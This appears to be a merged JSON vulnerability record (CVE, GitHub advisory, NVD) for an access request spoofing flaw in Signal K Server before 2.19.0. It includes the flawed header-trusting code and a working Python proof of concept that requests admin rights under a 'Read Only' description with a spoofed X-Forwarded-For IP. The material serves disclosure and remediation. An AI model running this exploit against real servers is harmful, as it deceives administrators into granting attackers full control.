{"id":"CVE-2025-69203","aliases":["CVE-2025-69203","GHSA-vfrf-vcj7-wvr8"],"related":[],"kind":"vulnerability","state":"published","title":"Signal K Server Vulnerable to Access Request Spoofing","summary":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.","source":"cvelist"},{"lang":"en","text":"The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.\n\nWhen a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.\n\nThe access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.\n\nSince device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.\n\n### Affected Code\n\n**File**: `packages/server-admin-ui/src/views/security/AccessRequests.js`\n\nThe admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.\n\n**File**: `src/tokensecurity.js` (access request creation and IP extraction)\n\n```javascript\n// Access request accepts any permissions value from the client\nconst permissions = req.body.permissions  // No validation against description\n\n// IP address extraction trusts X-Forwarded-For without validation\nconst ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress\n```\n\nThe code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing.\n\n### Impact\n\nAn administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.\n\n### PoC\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3000\"\nSPOOFED_IP = \"192.168.1.100\"\n\ndef create_spoofed_request(device_name):\n    payload = {\n        \"clientId\": device_name,\n        \"description\": f\"{device_name} - Read Only\",  # Misleading\n        \"permissions\": \"admin\"  # Actually requesting admin!\n    }\n    \n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Forwarded-For\": SPOOFED_IP  # Spoof internal IP\n    }\n    \n    r = requests.post(\n        f\"{TARGET}/signalk/v1/access/requests\",\n        json=payload,\n        headers=headers\n    )\n    \n    if r.status_code == 202:\n        data = r.json()\n        href = data.get(\"href\")\n        request_id = href.split(\"/\")[-1] if href else None\n        \n        print(f\"[+] Access request created!\")\n        print(f\"[+] Request ID: {request_id}\")\n        print(f\"[+] Admin sees: '{payload['description']}'\")\n        print(f\"[+] Actual permissions: {payload['permissions']}\")\n        print(f\"[+] Spoofed IP: {SPOOFED_IP}\")\n        \n        return request_id\n    else:\n        print(f\"[-] Failed: {r.status_code} - {r.text}\")\n        return None\n\nif __name__ == \"__main__\":\n    # First enumerate devices/sources using info disclosure vulnerability\n    sources = requests.get(f\"{TARGET}/signalk/v1/api/sources\").json()\n    devices = [d for d in sources.keys() if d != \"defaults\"]\n    \n    if devices:\n        print(f\"[+] Found devices: {devices}\")\n        create_spoofed_request(devices[0])\n    else:\n        create_spoofed_request(\"sensor-01\")\n```\n\n### Recommendation\n\n1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.\n2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.\n3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Signal K Server es una aplicación de servidor que se ejecuta en un concentrador central en un barco. Las versiones anteriores a la 2.19.0 del sistema de solicitud de acceso tienen dos características relacionadas que, cuando se combinan por sí mismas y con una vulnerabilidad de revelación de información, permiten ataques convincentes de ingeniería social contra los administradores. Cuando un dispositivo crea una solicitud de acceso, especifica tres campos: 'clientId', 'description' y 'permissions'. La interfaz de usuario de administración de SignalK muestra el campo 'description' de forma destacada al administrador al mostrar las solicitudes pendientes, pero el campo real 'permissions' (que determina el nivel de acceso concedido) es menos visible o se muestra por separado. Esto permite a un atacante solicitar permisos de 'admin' mientras proporciona una descripción que sugiere acceso de solo lectura. El manejador de solicitudes de acceso confía en el encabezado HTTP 'X-Forwarded-For' sin validación para determinar la dirección IP del cliente. Este encabezado está destinado a preservar la IP original del cliente cuando las solicitudes pasan a través de proxies inversos, pero cuando se confía incondicionalmente en él, permite a los atacantes falsificar su dirección IP. La IP falsificada se muestra a los administradores en la interfaz de aprobación de solicitudes de acceso, lo que potencialmente hace que las solicitudes maliciosas parezcan originarse de direcciones de red internas de confianza. Dado que los nombres de dispositivos/fuentes pueden enumerarse a través de la vulnerabilidad de revelación de información, un atacante puede suplantar un dispositivo o fuente legítima, elaborar una descripción convincente, falsificar una dirección IP interna de confianza y solicitar permisos elevados, creando un escenario de ingeniería social altamente convincente que aumenta la probabilidad de aprobación del administrador. Los usuarios deben actualizar a la versión 2.19.0 para solucionar este problema.","source":"nvd"}],"published":"2026-01-01T18:37:11.015Z","modified":"2026-10-07T11:10:00.153Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-290"],"affected":[{"ranges":[{"version":"< 2.19.0","status":"affected"}],"vendor":"SignalK","product":"signalk-server","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.19.0"}],"ecosystem":"npm","package":"signalk-server","purl":"pkg:npm/signalk-server","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.19.0"},{"status":"affected","version":"2.19.0"},{"status":"affected","version":"2.19.0"},{"status":"affected","version":"2.19.0"},{"status":"affected","version":"2.19.0"}],"vendor":"signalk","product":"signal_k_server","cpe":"cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/SignalK/signalk-server/releases/tag/v2.19.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69203","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/SignalK/signalk-server","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-01-02T19:02:06.451Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-69203","url":"https://www.cve.org/CVERecord?id=CVE-2025-69203","licence":"CVE Terms of Use","modified":"2026-01-02T19:02:25.169Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vfrf-vcj7-wvr8","url":"https://github.com/advisories/GHSA-vfrf-vcj7-wvr8","licence":"CC-BY-4.0","modified":"2026-02-03T03:14:42.459Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-69203","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69203","licence":"Public domain","modified":"2026-10-07T11:10:00.153Z"}],"updatedAt":"2026-11-25T22:59:10.135Z","epss":{"score":0.00305,"percentile":0.25124,"date":"2026-12-01T12:00:22.000Z"}}